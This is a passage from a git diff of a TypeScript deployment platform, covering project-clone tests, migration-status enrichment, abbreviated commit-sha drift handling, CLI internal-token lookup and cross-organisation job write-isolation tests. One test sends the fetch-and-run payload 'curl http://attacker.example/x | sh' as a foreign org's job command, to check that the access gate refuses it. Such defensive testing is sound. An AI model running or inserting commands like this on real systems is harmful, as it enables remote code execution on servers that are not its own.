requirement, not an oversight. + await clone(); + const pw = clonedEnv().find((v) => v.key === "POSTGRES_PASSWORD"); + expect(pw?.value).toBe("enc:hunter2"); + expect(pw?.isSecret).toBe(true); + expect(pw?.sourceServiceId).toBe("svc_db"); + }); + + it("keeps project-scoped vars project-scoped", async () => { + await clone(); + expect(clonedEnv().find((v) => v.key === "SHARED")?.sourceServiceId).toBeNull(); + }); + + it("drops vars belonging to a service the copy doesn't include", async () => { + // A narrowed (service-level) duplicate. `WEB_ONLY` follows a service that isn't coming, and + // promoting it to project scope would hand one service's config to every other. + await clone({ chosen: [CHOSEN[1]!] }); + expect(clonedEnv().map((v) => v.key)).toEqual(["SHARED", "POSTGRES_PASSWORD"]); + }); +}); + +describe("naming", () => { + it("derives copy and slugifies it", async () => { + await clone(); + expect(clonedProject().name).toBe("clincai copy"); + expect(clonedProject().slug).toBe("clincai-copy"); + }); + + it("suffixes past a taken slug", async () => { + h.slugsTaken.add("clincai-copy"); + await clone(); + expect(clonedProject().slug).toBe("clincai-copy-2"); + }); + + it("takes the operator's name when given", async () => { + await clone({ name: "Clincai Staging" }); + expect(clonedProject().name).toBe("Clincai Staging"); + expect(clonedProject().slug).toBe("clincai-staging"); + }); +}); + +describe("the AdoptResult it hands back", () => { + it("reports created: true, so a failed run's rollback deletes the copy", async () => { + // The inverse of a MOVE, where `created` must be false or rollback would delete the + // operator's real project. + const res = await clone(); + expect(res.created).toBe(true); + expect(res.projectId).toBe("p_new"); + }); + + it("hands over the running image per service, since our tags exist in no registry", async () => { + const res = await clone(); + expect(res.handover).toEqual({ web: "img/web:live", db: "img/db:live" }); + }); + + it("renames nothing — the rows already carry their names", async () => { + const res = await clone(); + expect(res.renames).toEqual({}); + expect(res.adopted).toEqual(["web", "db"]); + }); + + it("clones only the services being copied", async () => { + await clone({ chosen: [CHOSEN[1]!] }); + expect(clonedServices().map((s) => s.sourceId)).toEqual(["svc_db"]); + }); + + it("refuses when no row matches a running container, instead of an empty project", async () => { + await expect( + clone({ chosen: [discovered("ghost", "v", "/x")] }), + ).rejects.toThrow(/Services to duplicate/); + expect(createProjectWithRecords).not.toHaveBeenCalled(); + }); +}); + +describe("the exclusion lists are the contract", () => { + it("names the group, so nobody 'fixes' the clone by reusing the source's", () => { + expect(CLONE_EXCLUSIONS.project).toContain("groupId"); + }); + + it("names the routing block on services", () => { + for (const f of ["exposed", "domain", "customDomain", "publicEndpoints"]) { + expect(CLONE_EXCLUSIONS.service).toContain(f); + } + }); +}); diff --git a/apps/api/src/modules/projects/project-crud.service.ts b/apps/api/src/modules/projects/project-crud.service.ts index 033b1b5fa..2be9a1d6d 100644 --- a/apps/api/src/modules/projects/project-crud.service.ts +++ b/apps/api/src/modules/projects/project-crud.service.ts @@ -2,7 +2,14 @@ * Project CRUD service - create, read, update, list, ensure. */ -import { repos, type Deployment, type NewProject, type Project, type Server } from "@repo/db"; +import { + repos, + type Deployment, + type DockerMigrationRun, + type NewProject, + type Project, + type Server, +} from "@repo/db"; import { slugify, NotFoundError, @@ -12,6 +19,7 @@ import { SYSTEM, safeErrorMessage, compareSemver, + compareCommitSha, isReleaseProvider, isBehind, GITHUB_REPO, @@ -182,6 +190,51 @@ export async function resolveProjectDeployTarget( import { deploymentIsBlocked, deploymentRoutingUnsynced } from "./deployment-flags"; export { deploymentIsBlocked, deploymentRoutingUnsynced }; +// Same reason: the run→payload projection is an allowlist that must be readable and +// testable without this file's graph. See the module doc for what it deliberately drops. +import { readActiveMigration } from "./active-migration"; + +/** + * Is a live migration even POSSIBLE for a project on this instance? + * + * Every migration route is `localOnly` — a run SSHes into the operator's own box — so on the + * cloud control plane no project can have one, and the lookup below would be a query per + * project read that is guaranteed to answer nothing. The hottest read in the product is the + * SaaS home page, so it doesn't pay for a self-hosted feature. + */ +const MIGRATIONS_POSSIBLE = !env.CLOUD_MODE; + +/** + * The live migration for one project, and never a reason a project read fails. + * + * try/catch, not `.catch()`: the promise chain only covers a rejection, and the first way this + * broke was a SYNCHRONOUS throw — a caller whose `repos` didn't have the run repo at all, where + * the property access blew up before there was a promise to reject. A project's page must load + * for the operator to reach anything, including the migration panel itself, so a status + * annotation is never allowed to take it down. Logged rather than swallowed silently: a project + * reading "not migrating" while it is being moved is the wrong answer to have no trace of. + */ +async function loadActiveMigration(projectId: string) { + if (!MIGRATIONS_POSSIBLE) return null; + try { + return readActiveMigration(await repos.dockerMigrationRun.findActiveForProject(projectId)); + } catch (err) { + console.error(`[projects] active-migration lookup failed for ${projectId}:`, err); + return null; + } +} + +/** {@link loadActiveMigration} for a whole list — ONE statement for N projects, same rules. */ +async function loadActiveMigrations(projectIds: string[]): Promise> { + if (!MIGRATIONS_POSSIBLE) return new Map(); + try { + return await repos.dockerMigrationRun.findActiveForProjects(projectIds); + } catch (err) { + console.error("[projects] batched active-migration lookup failed:", err); + return new Map(); + } +} + /** The live release's human version + state, surfaced on project cards so the * UI can show "which v is live" and flag a partial deploy that is still * awaiting the operator's keep/reject decision (`awaitingDecision`). Derived @@ -191,6 +244,7 @@ function readActiveDeploymentSummary(dep: Deployment | null | undefined): { activeDeploymentStatus: string | null; awaitingDecision: boolean; routingUnsynced: boolean; + routingWarning: string | null; } { const meta = (dep?.meta ?? null) as { composeDeployment?: { decision?: string }; @@ -201,9 +255,20 @@ function readActiveDeploymentSummary(dep: Deployment | null | undefined): { activeVersion: dep?.version ?? null, activeDeploymentStatus: dep?.status ?? null, awaitingDecision: meta?.composeDeployment?.decision === "pending", - // Live, but the free .opsh.io edge route didn't sync — surfaced as - // "Action Required" with a Retry routing action (see routing/retry). + // Live, but the routes in front of it didn't sync — surfaced as "Action Required" with a + // Retry routing action (see routing/retry). routingUnsynced: deploymentRoutingUnsynced(dep), + /** + * WHY they didn't sync, in the server's own words (`routeIssuesWarning`). + * + * The flag alone was not enough, and the gap showed: the banner had one hardcoded sentence + * about a free `.opsh.io` URL failing to route through Openship Cloud's edge, and showed it + * for every cause. A self-hosted project with three CUSTOM domains waiting on certificates + * was told its free domain hadn't routed through a cloud it doesn't use — while the accurate + * sentence ("routed but no HTTPS certificate yet — point DNS here, then Verify") sat unread + * in this same meta blob. + */ + routingWarning: (meta?.deployWarning ?? null) || null, }; } @@ -246,11 +311,19 @@ export async function enrichProject(p: Project) { serverName = server?.name || server?.sshHost || null; } + // The live migration, if any. Here rather than in the migration module because it is + // STATUS: a project being moved between servers is not simply "Live", and every surface + // that renders a project — cards, sidebar, the page header, its own Advanced tab — already + // reads this payload. Anywhere else would be a second thing to fetch and a second place + // for the answer to disagree. + const activeMigration = await loadActiveMigration(p.id); + return { ...p, deployTarget, serverId, serverName, + activeMigration, ...readEnabled(p), ...readActiveDeploymentSummary(activeDep), // isCloud decides the fallback when nothing is configured: the metered free @@ -269,7 +342,8 @@ export async function enrichProject(p: Project) { * source of N+1 latency. * * Per-project query count: 0 (data is pre-fetched). - * Total SQL cost: 1 (deployment.findManyById) + 1 (server.getMany). + * Total SQL cost: 1 (deployment.findManyById) + 1 (server.getMany) + 1 + * (dockerMigrationRun.findActiveForProjects, self-hosted only). */ export async function enrichProjectsBatch( projects: Project[], @@ -295,6 +369,11 @@ export async function enrichProjectsBatch( .getMany(Array.from(serverIds)) .catch(() => new Map()); + // ONE statement for every project's live run, so the "Migrating" pill on a list of 50 + // projects costs a query rather than 50. The map is empty on cloud (no migrations there) + // and on any failure — a lookup for a status pill must never fail a project list. + const activeMigrations = await loadActiveMigrations(projects.map((p) => p.id)); + return projects.map((p) => { const production = p.resources as ResourceConfig | null; const build = p.buildResources as ResourceConfig | null; @@ -315,6 +394,7 @@ export async function enrichProjectsBatch( deployTarget, serverId, serverName, + activeMigration: readActiveMigration(activeMigrations.get(p.id)), ...readEnabled(p), ...readActiveDeploymentSummary(activeDep), // isCloud decides the fallback when nothing is configured: the metered @@ -904,7 +984,9 @@ export async function linkProjectRepo( return { ok: true, owner, repo, branch: defaultBranch, strategy, autoDeploy: !!gitFields.autoDeploy }; } -async function uniqueProjectSlug(organizationId: string, baseSlug: string) { +/** Exported for the project CLONE, which needs the same "-2, -3, …" rule a fresh project gets — + * a duplicate named after its source collides by construction. */ +export async function uniqueProjectSlug(organizationId: string, baseSlug: string) { let slug = baseSlug; let suffix = 2; @@ -1009,8 +1091,11 @@ async function findProjectByAppSlug( * Refuses with the plan-shaped 402 on cloud (so the dashboard can offer an * upgrade) and keeps the plain 400 for the self-hosted safety cap, which is not * something you can buy your way past. + * + * Exported for the project CLONE: a duplicate is a new project and must count like one, or + * "duplicate" becomes the way around the cap. */ -async function assertProjectQuota(organizationId: string): Promise { +export async function assertProjectQuota(organizationId: string): Promise { if (!env.CLOUD_MODE) { const { total } = await repos.projectGroup.listByOrganization(organizationId, { page: 1, perPage: 1 }); if (total >= SYSTEM.PROJECTS.MAX_PER_USER) { @@ -1957,7 +2042,11 @@ export async function evaluateDrift(p: Project, upstream: UpstreamDrift) { if (upstream.mode === "commit" && deployed.mode === "commit") { const latestSha = upstream.key === commitSourceKey(p) ? upstream.latestSha : null; const { deployedSha } = deployed; - const behind = Boolean(latestSha && deployedSha && latestSha !== deployedSha); + // Not `!==`. The deployed sha is whatever the caller that triggered the deploy + // supplied (an abbreviated `--commit`, a tag), so only a PROVABLE difference is + // drift — otherwise a project deployed at `1eeaf76` is told a new commit + // `1eeaf76` is available, forever. See compareCommitSha. + const behind = compareCommitSha(latestSha, deployedSha) === "different"; // Is the latest commit already deploying? Then there's nothing to redeploy — // it's in flight, so the nudge is suppressed. Computed live, which is why // pressing Update quiets every surface immediately. diff --git a/apps/api/src/modules/projects/project-rename.test.ts b/apps/api/src/modules/projects/project-rename.test.ts index 1edd634d4..94ce0bb08 100644 --- a/apps/api/src/modules/projects/project-rename.test.ts +++ b/apps/api/src/modules/projects/project-rename.test.ts @@ -64,6 +64,11 @@ vi.mock("@repo/db", () => ({ service: { listByProject: async () => [] }, domain: { listByProject: async () => [] }, server: { getInOrganization: async () => null }, + // `enrichProject` runs on the way out of a rename and asks whether the project has a live + // migration (the field every status pill reads). Declared so these tests exercise the real + // lookup — the service also survives its absence, but by logging and reporting "no + // migration", which is not the path a rename test should be silently taking. + dockerMigrationRun: { findActiveForProject: async () => null }, }, })); diff --git a/apps/api/test/modules/deployments/build.service.test.ts b/apps/api/test/modules/deployments/build.service.test.ts index 36e561147..22f8adb3c 100644 --- a/apps/api/test/modules/deployments/build.service.test.ts +++ b/apps/api/test/modules/deployments/build.service.test.ts @@ -2,6 +2,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; const { assertGitHubRepoAccess, + getCommitByRef, getForwardGitToServer, kickoffBuild, repos, @@ -13,6 +14,7 @@ const { syncProjectRouteState, } = vi.hoisted(() => ({ assertGitHubRepoAccess: vi.fn(), + getCommitByRef: vi.fn(), getForwardGitToServer: vi.fn(), kickoffBuild: vi.fn(), repos: { @@ -70,6 +72,7 @@ vi.mock("../../../src/modules/github/github-access", () => ({ })); vi.mock("../../../src/modules/github/github.service", () => ({ + getCommitByRef, getLatestCommit: vi.fn(), getRepository: vi.fn(), })); @@ -259,6 +262,8 @@ describe("triggerDeployment", () => { repos.project.findById.mockResolvedValue(baseProject()); repos.project.getEnvMap.mockResolvedValue({}); + // Only read by the best-effort compose-drift reconcile (git projects). + repos.service.listByProject.mockResolvedValue([]); repos.deployment.listByProject.mockResolvedValue({ rows: [] }); repos.deployment.getLatestSuccessfulForBranch.mockResolvedValue(null); repos.deployment.create.mockResolvedValue({ id: "dep-1", projectId: "project-1" }); @@ -308,6 +313,63 @@ describe("triggerDeployment", () => { ); }); + /** + * `commitSha` is a free string on the wire (`openship deploy --commit 1eeaf76`, + * the MCP deploy tool, a CI script) and git checks out an abbreviation happily — + * so the deploy is right while the row records a name no value comparison can + * match. That row is what the drift banner reads, which is how a project + * deployed at `1eeaf76` came to be offered `1eeaf76` as a new commit forever. + */ + it("stores the full sha for an abbreviated --commit ref", async () => { + const full = "1eeaf7692a19ee6e7ecb64b9d1a5c3ee7c0ac2f5"; + repos.project.findById.mockResolvedValue( + baseProject({ gitProvider: "github", gitOwner: "acme", gitRepo: "app", localPath: null }), + ); + getCommitByRef.mockResolvedValue({ sha: full, message: "feat: queue" }); + + await triggerDeployment(ctx, { + projectId: "project-1", + branch: "main", + commitSha: "1eeaf76", + }); + + expect(getCommitByRef).toHaveBeenCalledWith(ctx, "acme", "app", "1eeaf76"); + expect(repos.deployment.create).toHaveBeenCalledWith( + expect.objectContaining({ commitSha: full }), + ); + }); + + it("keeps an unresolvable ref verbatim rather than failing the deploy", async () => { + repos.project.findById.mockResolvedValue( + baseProject({ gitProvider: "github", gitOwner: "acme", gitRepo: "app", localPath: null }), + ); + getCommitByRef.mockResolvedValue(null); // rate limited / no credential / bad ref + + await triggerDeployment(ctx, { + projectId: "project-1", + branch: "main", + commitSha: "1eeaf76", + }); + + expect(repos.deployment.create).toHaveBeenCalledWith( + expect.objectContaining({ commitSha: "1eeaf76" }), + ); + }); + + it("spends no lookup on a sha that is already canonical", async () => { + const full = "1eeaf7692a19ee6e7ecb64b9d1a5c3ee7c0ac2f5"; + repos.project.findById.mockResolvedValue( + baseProject({ gitProvider: "github", gitOwner: "acme", gitRepo: "app", localPath: null }), + ); + + await triggerDeployment(ctx, { projectId: "project-1", branch: "main", commitSha: full }); + + expect(getCommitByRef).not.toHaveBeenCalled(); + expect(repos.deployment.create).toHaveBeenCalledWith( + expect.objectContaining({ commitSha: full }), + ); + }); + it("resolves service mode before preflight for reused snapshots", async () => { await triggerDeployment(ctx, { projectId: "project-1", diff --git a/apps/api/test/modules/jobs/jobs-http.e2e.test.ts b/apps/api/test/modules/jobs/jobs-http.e2e.test.ts index 5230fee28..056529d36 100644 --- a/apps/api/test/modules/jobs/jobs-http.e2e.test.ts +++ b/apps/api/test/modules/jobs/jobs-http.e2e.test.ts @@ -131,6 +131,148 @@ describe("jobs HTTP — fix #1: cross-org read isolation", () => { }); }); +describe("jobs HTTP — fix #2: cross-org write isolation", () => { + /** Owner A's command job on Owner A's server. Returns its key + the server id. */ + async function seedForeignJob(a: { auth: Record; orgId: string }) { + const serverA = await seedServer(a.orgId); + const key: string = ( + await req(app, "POST", "/", { + auth: a.auth, + body: { label: "nightly-backup", command: "echo hi", serverIds: [serverA], scheduleType: "manual" }, + }) + ).body.data.key; + return { key, serverA }; + } + + const storedCommand = async (key: string) => + ((await repos.job.findByKey(key))?.actionConfig as { command?: string } | null)?.command; + + it("a patch that OMITS serverIds cannot rewrite another org's command", async () => { + // The bypass: the gate only looked at servers named in the BODY, while the + // update is a merge — so omitting serverIds left the stored targets in place + // and wrote the attacker's command onto them. Next tick = RCE as the SSH user. + const a = await seedOwner(); + const b = await seedOwner(); + const { key } = await seedForeignJob(a); + + const res = await req(app, "PATCH", `/${key}`, { + auth: b.auth, + body: { command: "curl http://attacker.example/x | sh" }, + }); + + expect(res.status).toBe(404); + expect(await storedCommand(key)).toBe("echo hi"); + }); + + it("naming the server in the patch is refused too (the case that already worked)", async () => { + const a = await seedOwner(); + const b = await seedOwner(); + const { key, serverA } = await seedForeignJob(a); + + const res = await req(app, "PATCH", `/${key}`, { + auth: b.auth, + body: { serverIds: [serverA], command: "id" }, + }); + + expect(res.status).toBe(404); + expect(await storedCommand(key)).toBe("echo hi"); + }); + + it("another org cannot silently disable a job", async () => { + // Invisible to the victim: a disabled backup job looks like a job that simply + // hasn't run yet. + const a = await seedOwner(); + const b = await seedOwner(); + const { key } = await seedForeignJob(a); + + expect((await req(app, "PATCH", `/${key}`, { auth: b.auth, body: { enabled: false } })).status).toBe(404); + expect((await repos.job.findByKey(key))?.enabled).toBe(true); + }); + + it("another org cannot delete a job", async () => { + const a = await seedOwner(); + const b = await seedOwner(); + const { key } = await seedForeignJob(a); + + expect((await req(app, "DELETE", `/${key}`, { auth: b.auth })).status).toBe(404); + expect(await repos.job.findByKey(key)).not.toBeNull(); + }); + + it("the key alone is not authorization — B never has to be able to READ the job", async () => { + // The reads were already gated, so an attacker holding a guessed/leaked key is + // exactly the case the write gate has to stop on its own. + const a = await seedOwner(); + const b = await seedOwner(); + const { key } = await seedForeignJob(a); + + expect((await req(app, "GET", `/${key}`, { auth: b.auth })).status).toBe(404); + expect((await req(app, "POST", `/${key}/run`, { auth: b.auth })).status).toBe(404); + expect((await req(app, "PATCH", `/${key}`, { auth: b.auth, body: { label: "renamed" } })).status).toBe(404); + expect((await repos.job.findByKey(key))?.label).toBe("nightly-backup"); + }); + + it("a write denial is indistinguishable from an unknown key, and never echoes the target server id", async () => { + // `permission.assert` throws NotFoundError("server", id), so replying with the + // target check's own message would tell an unauthorized caller both that the key + // exists and which server it runs on — the two facts the read gate 404s to hide. + const a = await seedOwner(); + const b = await seedOwner(); + const { key, serverA } = await seedForeignJob(a); + + const foreign = await req(app, "PATCH", `/${key}`, { auth: b.auth, body: { command: "id" } }); + const unknown = await req(app, "PATCH", "/custom:does-not-exist", { auth: b.auth, body: { command: "id" } }); + expect(foreign.status).toBe(unknown.status); + expect(foreign.body).toEqual(unknown.body); + expect(JSON.stringify(foreign.body)).not.toContain(serverA); + + const delForeign = await req(app, "DELETE", `/${key}`, { auth: b.auth }); + const runForeign = await req(app, "POST", `/${key}/run`, { auth: b.auth }); + for (const res of [delForeign, runForeign]) { + expect(res.status).toBe(404); + expect(JSON.stringify(res.body)).not.toContain(serverA); + } + }); + + it("the gate is not too wide: the owning org still edits, runs and deletes its own job", async () => { + const a = await seedOwner(); + const { key } = await seedForeignJob(a); + + const patch = await req(app, "PATCH", `/${key}`, { + auth: a.auth, + body: { command: "echo updated", enabled: false }, + }); + expect(patch.status).toBe(200); + expect(await storedCommand(key)).toBe("echo updated"); + expect((await repos.job.findByKey(key))?.enabled).toBe(false); + + expect((await req(app, "DELETE", `/${key}`, { auth: a.auth })).status).toBe(200); + expect(await repos.job.findByKey(key)).toBeNull(); + }); + + it("system jobs stay tunable by any member, and still refuse deletion", async () => { + // Builtins store no actionConfig → no target servers → nothing to gate on. + // They are instance operations, so this must not become owner-of-org-A-only. + const a = await seedOwner(); + const b = await seedOwner(); + await seedSystemJob("test:builtin-write"); + + expect( + (await req(app, "PATCH", "/test:builtin-write", { auth: b.auth, body: { enabled: false } })).status, + ).toBe(200); + expect((await repos.job.findByKey("test:builtin-write"))?.enabled).toBe(false); + + const del = await req(app, "DELETE", "/test:builtin-write", { auth: a.auth }); + expect(del.status).toBeGreaterThanOrEqual(400); + expect(await repos.job.findByKey("test:builtin-write")).not.toBeNull(); + }); + + it("an unknown key is 404 on both write verbs", async () => { + const a = await seedOwner(); + expect((await req(app, "PATCH", "/custom:nope", { auth: a.auth, body: { enabled: false } })).status).toBe(404); + expect((await req(app, "DELETE", "/custom:nope", { auth: a.auth })).status).toBe(404); + }); +}); + /** Seed a builtin/system job row directly (reconcileJobs seeds these at boot). */ async function seedSystemJob(key: string) { const now = new Date(); diff --git a/apps/api/test/modules/updates/drift-evaluation.test.ts b/apps/api/test/modules/updates/drift-evaluation.test.ts index fee442d84..1c5ba3129 100644 --- a/apps/api/test/modules/updates/drift-evaluation.test.ts +++ b/apps/api/test/modules/updates/drift-evaluation.test.ts @@ -111,6 +111,33 @@ describe("commit drift — the deployed side is live", () => { expect(after).toMatchObject({ behind: false, deployedSha: NEWER }); }); + it("reads an abbreviated deployed sha as the same commit, not a new one", async () => { + // The reported case: `POST /deployments` accepts any ref as `commitSha` (an + // `openship deploy --commit 1314074`, an MCP call, a CI script), git checks it + // out, and the row keeps the abbreviation. Compared by bytes against the + // 40-char HEAD it is a second commit forever — and since both sides render + // slice(0, 7), the operator was told "new commit 1314074 available — you're + // deployed on 1314074". + const p = gitProject(); + deploymentRepo.findById.mockResolvedValue({ + id: "dep_live", + commitSha: SHIPPED.slice(0, 7), + }); + + const status = await evaluateDrift(p, commitUpstream(p, SHIPPED)); + + expect(status).toMatchObject({ behind: false }); + // A genuinely newer HEAD still reports drift against that same short row. + expect(await evaluateDrift(p, commitUpstream(p, NEWER))).toMatchObject({ behind: true }); + }); + + it("claims nothing when the deployed ref is a tag we cannot compare by value", async () => { + const p = gitProject(); + deploymentRepo.findById.mockResolvedValue({ id: "dep_live", commitSha: "v0.6.5" }); + + expect(await evaluateDrift(p, commitUpstream(p, NEWER))).toMatchObject({ behind: false }); + }); + it("suppresses the nudge while the newest commit is already deploying", async () => { const p = gitProject(); deploymentRepo.findById.mockResolvedValue({ id: "dep_live", commitSha: SHIPPED }); diff --git a/apps/cli/src/commands/reset-admin.ts b/apps/cli/src/commands/reset-admin.ts index cba42a899..a9ee3430c 100644 --- a/apps/cli/src/commands/reset-admin.ts +++ b/apps/cli/src/commands/reset-admin.ts @@ -1,18 +1,21 @@ /** * `openship reset-admin-password` — recover the box login WITHOUT signing in. * - * The CLI owns the loopback internal token (~/.openship/internal-token) that the - * running service loaded at boot, so it can hit the internal-token-gated - * /api/system/reset-admin-password on localhost — "god access" from the machine - * itself. This is the forgot-password path for a self-hosted box: reset the local - * admin credential (and force authMode back to local, so it also un-sticks a box - * that got locked onto a broken cloud login). + * The CLI owns the loopback internal token that the running service loaded at boot, so + * it can hit the internal-token-gated /api/system/reset-admin-password on localhost — + * "god access" from the machine itself. This is the forgot-password path for a + * self-hosted box: reset the local admin credential (and force authMode back to local, + * so it also un-sticks a box that got locked onto a broken cloud login). + * + * WHICH token that is depends on the install method (bare file vs the compose stack's + * `.env`), which is why this goes through internalFetch rather than naming a store: + * naming the bare one made this command fail with "Unauthorized" on every compose box. */ import { Command } from "commander"; import chalk from "chalk"; import { intro, outro, password as passwordPrompt, isCancel, cancel, log } from "@clack/prompts"; import { storedApiPort } from "../lib/ports"; -import { ensureInternalToken } from "./up"; +import { internalFetch, internalTokenRejectedProblem } from "../lib/loopback-api"; export const resetAdminCommand = new Command("reset-admin-password") .description("Reset the local admin login on THIS machine (no sign-in required)") @@ -51,22 +54,32 @@ export const resetAdminCommand = new Command("reset-admin-password") // Ports are dynamic; storedApiPort() is the remembered one (4000 only as the // last-resort default), so the reset targets whichever port this box resolved to. const port = String(opts.port || storedApiPort()); - let res: Response; - try { - res = await fetch(`http://127.0.0.1:${port}/api/system/reset-admin-password`, { - method: "POST", - headers: { "Content-Type": "application/json", "X-Internal-Token": ensureInternalToken() }, - body: JSON.stringify({ password: pw, email: opts.email, name: opts.name }), - }); - } catch { + const call = await internalFetch(port, "/api/system/reset-admin-password", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ password: pw, email: opts.email, name: opts.name }), + }); + if (call.kind === "unreachable") { log.error(`Couldn't reach the Openship API on port ${port}. Is it running? (openship status)`); log.info("If it's listening on another port, pass --port ."); process.exit(1); } + if (call.kind === "no-token") { + // Not an auth failure: there was nothing to authenticate WITH. The detail names + // the store and the fix (usually: re-run under sudo, since a stack installed as + // root keeps its token in a 0600 `.env`). + log.error(`Reset failed — ${call.detail}`); + process.exit(1); + } + const res = call.res; const data = (await res.json().catch(() => ({}))) as { ok?: boolean; email?: string; error?: string }; if (!res.ok || !data.ok) { - log.error(`Reset failed: ${data.error || res.statusText}`); + // tokenRejected means every token this box holds was refused by internalAuth — + // say which situation that is instead of echoing the API's bare "Unauthorized". + log.error( + `Reset failed: ${call.tokenRejected ? internalTokenRejectedProblem() : data.error || res.statusText}`, + ); process.exit(1); } outro(chalk.green(`Password reset. Log in as ${data.email} with your new password.`)); diff --git a/apps/cli/src/commands/up.ts b/apps/cli/src/commands/up.ts index 58606e63f..005075d4c 100644 --- a/apps/cli/src/commands/up.ts +++ b/apps/cli/src/commands/up.ts @@ -44,7 +44,7 @@ import { headlessProvision, HeadlessInputError, } from "../lib/instance-provision"; -import { ensureInternalToken } from "../lib/loopback-api"; +import { mintBareInternalToken } from "../lib/internal-token"; import { AUTH_SECRET_FILE, DATA_DIR, LOG_DIR, OS_DIR } from "../lib/paths"; import { startUnitHint } from "../lib/this-host"; import type { ImportedSite } from "@repo/adapters/proxy"; @@ -168,10 +168,10 @@ declare const __CLI_VERSION__: string; const DIST_DIR = dirname(fileURLToPath(import.meta.url)); const SERVER_DIR = join(DIST_DIR, "server"); -// ensureInternalToken lives in lib/loopback-api (shared with the wizard + headless -// installer — single copy, imported above). Re-exported so existing importers of -// `ensureInternalToken` from "./up" (reset-admin, repair) keep working. -export { ensureInternalToken }; +// NOTE: startService below is the ONLY caller of mintBareInternalToken, and that is +// deliberate — booting the service with the token is what makes the file authoritative. +// Commands that TALK to a running API resolve the token instead (lib/internal-token); +// minting one to authenticate is a guaranteed 401 (see that module's header). /** Persist a stable auth secret so sessions survive restarts. */ function ensureAuthSecret(): string { @@ -814,7 +814,7 @@ async function runForeground(opts: UpOpts, source?: FromSourceRun): Promise).getReader(); const decoder = new TextDecoder(); diff --git a/apps/cli/src/lib/compose-env.ts b/apps/cli/src/lib/compose-env.ts new file mode 100644 index 000000000..9d2c884de --- /dev/null +++ b/apps/cli/src/lib/compose-env.ts @@ -0,0 +1,56 @@ +/** + * Where the Compose stack lives on disk, and the ONE reader of its `.env`. + * + * Split out of lib/compose.ts so the internal-token resolver (lib/internal-token.ts) + * can read the stack's INTERNAL_TOKEN without pulling in the whole compose backend: + * the api container boots with THAT token, so every loopback caller needs it — + * including commands (reset-admin-password, doctor) that have nothing to do with + * bringing a stack up. + */ +import { existsSync, readFileSync } from "node:fs"; +import { join } from "node:path"; + +import { OS_DIR } from "./paths"; + +export const COMPOSE_DIR = join(OS_DIR, "compose"); +export const COMPOSE_FILE = join(COMPOSE_DIR, "docker-compose.yml"); +export const COMPOSE_ENV_FILE = join(COMPOSE_DIR, ".env"); + +/** + * Is there a Compose install on this box? + * + * The compose file is the evidence, NOT `readInstallMethod()`: nothing ever writes + * `bare` back to that marker, so it still reads "compose" on a box converted the + * other way (same reasoning as composeHostChannelExpected). + */ +export function composeInstallExists(): boolean { + return existsSync(COMPOSE_FILE); +} + +export interface ComposeEnvRead { + env: Record; + /** + * Set when the file EXISTS but wouldn't open — a root-owned 0600 `.env` under a + * non-root invocation, in practice. ENOENT is NOT reported here: that's a box with + * no compose install, and each caller decides what that means (a first install for + * `up`, "look at the bare token instead" for the resolver). + */ + unreadable: string | null; +} + +/** Parse the stack's `.env` into KEY=value pairs. Pure — callers own the reporting. */ +export function readComposeEnvFile(): ComposeEnvRead { + let text: string; + try { + text = readFileSync(COMPOSE_ENV_FILE, "utf8"); + } catch (err) { + const code = (err as { code?: string }).code; + return { env: {}, unreadable: code === "ENOENT" ? null : (err as Error).message }; + } + const env: Record = {}; + for (const line of text.split("\n")) { + const m = line.match(/^([A-Z0-9_]+)=(.*)$/); + if (m) env[m[1]] = m[2]; + } + return { env, unreadable: null }; +} diff --git a/apps/cli/src/lib/compose.ts b/apps/cli/src/lib/compose.ts index 14b6f01f1..dba0ea6c5 100644 --- a/apps/cli/src/lib/compose.ts +++ b/apps/cli/src/lib/compose.ts @@ -48,6 +48,12 @@ import { wrapText, } from "@repo/core"; +import { + COMPOSE_DIR, + COMPOSE_ENV_FILE as ENV_FILE, + COMPOSE_FILE, + readComposeEnvFile, +} from "./compose-env"; import { OS_DIR } from "./paths"; import { DEFAULT_API_PORT, @@ -125,12 +131,9 @@ function renderComposeYaml(): string { declare const __CLI_VERSION__: string; -const COMPOSE_DIR = join(OS_DIR, "compose"); const INSTALL_METHOD_FILE = join(OS_DIR, "install-method"); -const COMPOSE_FILE = join(COMPOSE_DIR, "docker-compose.yml"); /** From-source override: BUILDs api/dashboard/edge instead of pulling them. */ const BUILD_FILE = join(COMPOSE_DIR, "docker-compose.build.yml"); -const ENV_FILE = join(COMPOSE_DIR, ".env"); /** The `.env` this run replaced. See writeEnvFile — recovery for #488. */ const ENV_BACKUP_FILE = join(COMPOSE_DIR, ".env.bak"); const ENV_TMP_FILE = join(COMPOSE_DIR, ".env.tmp"); @@ -735,31 +738,25 @@ function projectOfDbVolume(volume: string): string { return volume.replace(/_postgres_data$/, ""); } -/** Parse the existing .env so re-running `up` preserves generated secrets. */ +/** + * Parse the existing .env so re-running `up` preserves generated secrets. + * + * The read itself lives in lib/compose-env (shared with the internal-token resolver); + * what stays here is the install-time REPORTING of a file that exists and wouldn't + * open — a root-owned 0600 `.env` this user can't see is an install whose secrets are + * merely out of reach, and treating that as a first install is what #488 is. + * secretRotationRisk is what actually stops the run. + */ function readEnvFile(): Record { - const out: Record = {}; - let text: string; - try { - text = readFileSync(ENV_FILE, "utf8"); - } catch (err) { - // "Not there" is a first install. Anything ELSE — a root-owned 0600 file this user - // can't open being the one that happens in practice — is an install whose secrets - // exist and are simply out of reach, and treating that as a first install is what - // #488 is. Say so; secretRotationRisk is what actually stops the run. - if ((err as { code?: string }).code !== "ENOENT") { - console.log( - ` ! Could not read ${ENV_FILE}: ${(err as Error).message}\n` + - ` Its contents are being treated as absent. If this install already exists,` + - ` fix the permissions and re-run rather than letting secrets be regenerated.`, - ); - } - return out; - } - for (const line of text.split("\n")) { - const m = line.match(/^([A-Z0-9_]+)=(.*)$/); - if (m) out[m[1]] = m[2]; + const { env, unreadable } = readComposeEnvFile(); + if (unreadable) { + console.log( + ` ! Could not read ${ENV_FILE}: ${unreadable}\n` + + ` Its contents are being treated as absent. If this install already exists,` + + ` fix the permissions and re-run rather than letting secrets be regenerated.`, + ); } - return out; + return env; } /** @@ -3125,7 +3122,12 @@ export function composeRestart(): boolean { * The stack's INTERNAL_TOKEN, read from the generated compose `.env` — NOT the * bare-mode `~/.openship/internal-token`. The compose api container is booted * with this value (renderEnv → keepSecret), so the CLI must use it to reach - * internal-token-gated endpoints (e.g. edge/import-sites after a migrate). + * internal-token-gated endpoints. + * + * For "the token the API on this box is running with" — i.e. anything that isn't + * specifically provisioning a compose stack it just 